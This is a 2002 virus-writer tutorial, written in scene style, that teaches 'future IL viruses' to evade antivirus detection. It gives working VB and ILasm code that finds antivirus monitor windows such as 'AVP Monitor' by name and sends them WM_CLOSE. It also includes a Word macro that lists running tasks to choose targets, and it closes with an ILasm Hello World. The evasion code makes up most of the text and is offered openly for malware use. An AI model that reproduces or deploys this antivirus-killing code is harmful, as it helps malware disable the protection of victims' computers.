\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Turning off AV monitors in ILasm\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

after "Hello World!" using .NET class Libraries and Windows DLL and the Sharpei disasm, i've decided to write a proggie 
that will help the future IL viruses evade AV detection... yes, boys and girls, i'll teach those future ILasm virus
coders to make their viruses turn off AV monitors...

I've read three tutes that tackles this topic of turning of AV monitors... Benny's, LiteSys's and alcopaul's... 
Benny's and LiteSys's demoed it in win32asm... alcopaul's demoed it in visual basic... 

And i will do it in ILasm...  :)

i've done a lot of experimenting before comin' up with a successful code.. a tute helped me a lot to do it right..

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
the following code is an excerpt from alcopaul's tute...  \\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Option Explicit
Private Declare Function FindWindow Lib "user32" _
         Alias "FindWindowA" _
         (ByVal lpClassName As String, _
         ByVal lpWindowName As String) As Long

Private Declare Function PostMessage Lib "user32" _
         Alias "PostMessageA" _
         (ByVal hwnd As Long, _
         ByVal wMsg As Long, _
         ByVal wParam As Long, _
         ByVal lParam As Long) As Long
      
Const WM_CLOSE = &H10
sub main()
on error resume next
Dim a As Long 
Dim b As Long
dim avn, avn1, ..., avn(n), num3, arrr3, av
avn = "AVP Monitor"
avn1 = "NAI_VS_STAT"
avn(n) = avname
For num3 = 0 To n
arrr3 = Array(avn, avn1, ..., avn(n))
av = arrr3(num3)
a = FindWindow(vbNullString, av)
b = PostMessage(a, WM_CLOSE, vbNull, vbNull)
Next num3
end sub

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
end of excerpt\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


we must pass a nullstring and AV Window name to FindWindow, store it to a variable and pass that variable as a parameter to
PostMessage with &H10 (dec = 16), null (0) and null (0) as other parameters respectively...


\\\\\\\\\\\\\\\\\\\\\\\\\\\\
ILASM TIME! \\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

now let's code...


------------------------------------------------------------------------
.module extern user32.dll

.assembly IllAwesomeDidItAgain{}

.class public AVoff

{
  .method public hidebysig static pinvokeimpl("user32.dll" winapi) 
          int32  FindWindow(string classname,
                            string windowname) cil managed preservesig
{
}
  .method public hidebysig static pinvokeimpl("user32.dll" winapi) 
          int32  PostMessage(int32 wind,
                             int32 msg,
                             int32 param,
                             int32 paramm) cil managed preservesig
{
}
.method public static void  Main() cil managed
{
.entrypoint
.maxstack  4
.locals (int32 Valx)                           // our variable
ldnull                                         // load null to the classname
ldstr      "AVP Monitor"                       // load the Window name i.e. AVP
call       int32 AVoff::FindWindow(string,     // Findwindow(null, "AVP Monitor")
                                   string)
stloc.0                                        // store result to our variable
ldloc.0                                        // load the result to the 1st param of Postmessage
ldc.i4.s   16                                  // 16 = 10h, close
ldc.i4.0                                       // null
ldc.i4.0                                       // null
call       int32 AVoff::PostMessage(int32,
                                    int32,
                                    int32,
                                    int32)    // postmessage!
pop					      // AVP fuck off!	
ret
} 
}

-----------------------------------------------------------------------------


our task is finished...

calling win32apis from .net proggies? that's what you call platform invoke...

platform invoke syntax

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
.method public hidebysig static pinvokeimpl("dllfile" winapi)          \\\\\\\\\
          int32  APIname(params,				        \\\\\\\\\
                         params1) cil managed preservesig                \\\\\\\\\
{									  \\\\\\\\\
}									   \\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

examples

------------------------------------------------------------------------
  .method public hidebysig static pinvokeimpl("user32.dll" winapi) 
          int32  FindWindow(string classname,
                            string windowname) cil managed preservesig
{
}
------------------------------------------------------------------------
  .method public hidebysig static pinvokeimpl("user32.dll" winapi) 
          int32  MessageBox(int32 hWnd,
                            string text,
                            string caption,
                            int32 type) cil managed preservesig
  {
  }
------------------------------------------------------------------------

you should have your win32api reference to determine the type of the parameters (if it's string, int32, etc..)


\\\\\\\\\\\\
final note \\
\\\\\\\\\\\\\\

how will we get the list of running avs?

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
an excerpt from alcopaul's tute\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Use MS-Word VB Editor\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

--------------
Sub search()
On Error Resume Next
For I = 1 to Tasks.Count
Windowname = Tasks.Item(I).Name
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\avlist.txt", True)
a.WriteLine Windowname
Next
a.Close
End Sub

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
end of excerpt\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

addendum : alcopaul was notified and said ok about putting his code snippets in this article....

that's all folks... let us all explore and discover the power of IL asm....

\\\\\\\\\\\\\\\\\\\\\\\\\\\\
revisiting Hello World!  \\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

there's this other way to code your hello world in ilasm
-----------------------------------------------------------
.module extern user32.dll
.assembly ILHello{}

.class public HelloWorld

{
  .method public hidebysig static pinvokeimpl("user32.dll" winapi) 
          int32  MessageBox(int32 hWnd,
                            string text,
                            string caption,
                            int32 type) cil managed preservesig
  {
  }
  
.method static public void main() cil managed
{
.entrypoint
.maxstack 8
ldc.i4.0
ldstr "Hello World!"
ldstr "by IllAwesome"
ldc.i4.0
call  int32 HelloWorld::MessageBox(int32,
                              string,
                              string,
                              int32)
pop
ret
}
}
---------------------------------------------------------------

\\\\\\\\\\\\\\\\\\\\\\\\\
IllAwesome\\\\\\\\\\\\\\\\
7162002\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\
edited\\\\\\\\\\\\\\\\\\\\\\\
7192002\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
"ILAsm is the pyucha!"\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
mailto:illawesome@lycos.com\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\